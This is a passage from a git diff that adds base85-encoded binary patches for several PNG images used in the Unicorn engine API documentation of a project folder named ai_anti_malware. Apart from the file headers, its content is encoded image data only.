zun}vSL^ph%9X3R~UEg?O4lv+}DOTA$Fw0(i;Y7!}GSWZ^P~mv{%V7zL=hImWqbrF+ z=cXST-KmmkqxCU@(Ukk`nf`GTsdU%+=&FkCPHxEaIcLkkYFs_8E@s1NJh`M}azRI3 zG)z_aEp$+A)c<&_U<#%#;sqUQP*j{}QxL_s<ca|3tuO>o5R}+r4`VNwv(hG%rmnTi zZljd=Z&?_{X=g;A8okvoYc%utWM10KX#t9%Sk9F}&9?8oT1|CIyzc|A6|pkW%jYA) z&4pP*C8_DDas$(c?qPomLpS>J#U!RX!TH=%05G5CUNwp5g7OG;_&`+NbJbk4R@|FM zFgNV_%$|xuyGv_l3?KC+YY8FV@)vApU=tUaUaKKee%V%bok!v~85*S!0~uYe;4;2g zZA(<Xi6L1hHHzI~K@g_B7ry>*ENrl!xkq186Z({80VK3G;m8ae8WcgvZd3#DqbD55 zOY9UBG;&E5+q`|(pzzN7+9B%67XupQ7NLr<ZJF9a{ol53jv7fcgJS(aHAd{7dhH)b zN5XzfMQ(R8G?xlW;vEKj!$(s7agokvF_dO%G$_4xJ5n{ziMBJ7mdwLydx1TFlI;JZ z_Iaf0)Nq%B$qd@ip?75(NujFDquig#Kf=JlkG4ePY;P{3P?4G{m&<J*`DJX~a>p!Z z+}1&dc0Q5UEOIiEpfM?J=-VIrn3h8Ol21EZMj)ZAZMSP*fMqktVfT%LXs3+abo5ea zY((!eAzSE!dzz$bTSvqt!*ZMJclH|ULkU1fH#=j5u+-L17_5W)Dex|5zbf;qfc9|S z<S+4XoWHi3<Jhb?9#^?*Y$_r*de~80T68SzUEMS^tn&lqM}2hLz`u?rtGJ-3Y1k;e zW8pFL@N9S>KPF<8!|~S8b2CN^{?3I7G@hU>?LYt@(dV)Qmsb@$Vn9aAq-gxkKP7!d z=64Noit0lO(^4{B{~cR?%7{WU`2MaT^s;b5ybXKQEJG6`@4KT1BQuJT5-dj#>%TrP zd+4(_WT?OK7Whv9VP<!qbZI0GU~zbccC~GN9(E=EWPCS8K4-N;EiT6Fhq^=dgl7C& zz<M{Lm8`5J)HI>G{@i<$PQxCkqJaZGC_Fo*Kp=-9#LjH-x~!`}3-J~wA|D^ssV8{7 zRWYhd5E=xevwJSkph4QM?w9T8?^|uB8p&p>s|IR+)Zwnn%R@zI<S$bZpR>Phtn0g# zUm$u!jat(_$Nu0jq2gI@Fp~$O@r_%e0AA%NlpbOjKqKeZgFKrCO;>SEHTQBl-KpNN z0FvB8E^RYmz-(mh->;$j-T_3pQu|#V)_rg?f8dmn<9@yNNmp1|>@Vbh;&Xiquykd; zHmXqYsKeT9l$ieL<*ESDQK-24*sJ4~v0STrOKZ6;(zFCK=AUuy)f-7WbS9%KhJ!P4 zbklp>o$3)9u(YAuRmcuh3w0%1Sj(VSh$$lME%S-t{St?xp4=a&1;QUn9Q?0Ytucmy zW-atl^i8aa8jFfxFSWF&`Uq_Sk{>Kn6PLyNN|;3`MAbxdf?<BUOw)4dIgy8?mk0S3 zhA{QwL?GJNfk_V8eFPbgSP4N~$gP6t(0f}fl-j4u9F4Rrv|nD(E)_0}+jyhs`G>5` zO^P=W-x$I<NsXo%Qv7&-1~EUq!b@0H6Uko0?c3yp1VA?uQbqCQ=)lhe@!9F*vd5*h zXQxL~BHHDVR`ra}5*<(C)@uXxcL#!?Lq)HS@_x9~m{fAFT*?4m7jTc9w7TfJp9G`F zs)ZN<d?V-;P&dZ&2w?hKsGWzV=QGkqy=mPpbOGYoB7e9%AZ-12nBQP(SCi)Swf`SY zcWC}^>sd18Ou3&w(EWAYG0}f@HZ|QRL>}zZp8naCUV8O!t%AdDj~K#o%fDo>`NY4| zhhH4~?$1K@X@B1eFj@IO>BHX^>x#&P+>P$=|EN~S-|fu*y%5IVegC7h!E66n$nRST fl%d-{!#fR|5LFrh-2h%Zc0o-^Td`Q){N?`vecTWM literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/IZhyWrGebA5tT4i.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/IZhyWrGebA5tT4i.png new file mode 100644 index 0000000000000000000000000000000000000000..4fb5a43ca5d31e44f3022f9cbf46db38bd3f1b0b GIT binary patch literal 4282 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 literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/K4HMijIVt6lofvT.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/K4HMijIVt6lofvT.png new file mode 100644 index 0000000000000000000000000000000000000000..521dbfb772da5dbbaab90ae58d5e0b58712e988d GIT binary patch literal 3594 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 literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/MbZk8KjQFqJOxmd.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/MbZk8KjQFqJOxmd.png new file mode 100644 index 0000000000000000000000000000000000000000..795ed2cb4ac8f910d497eaeb66dbeeed55729bd0 GIT binary patch literal 2123 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 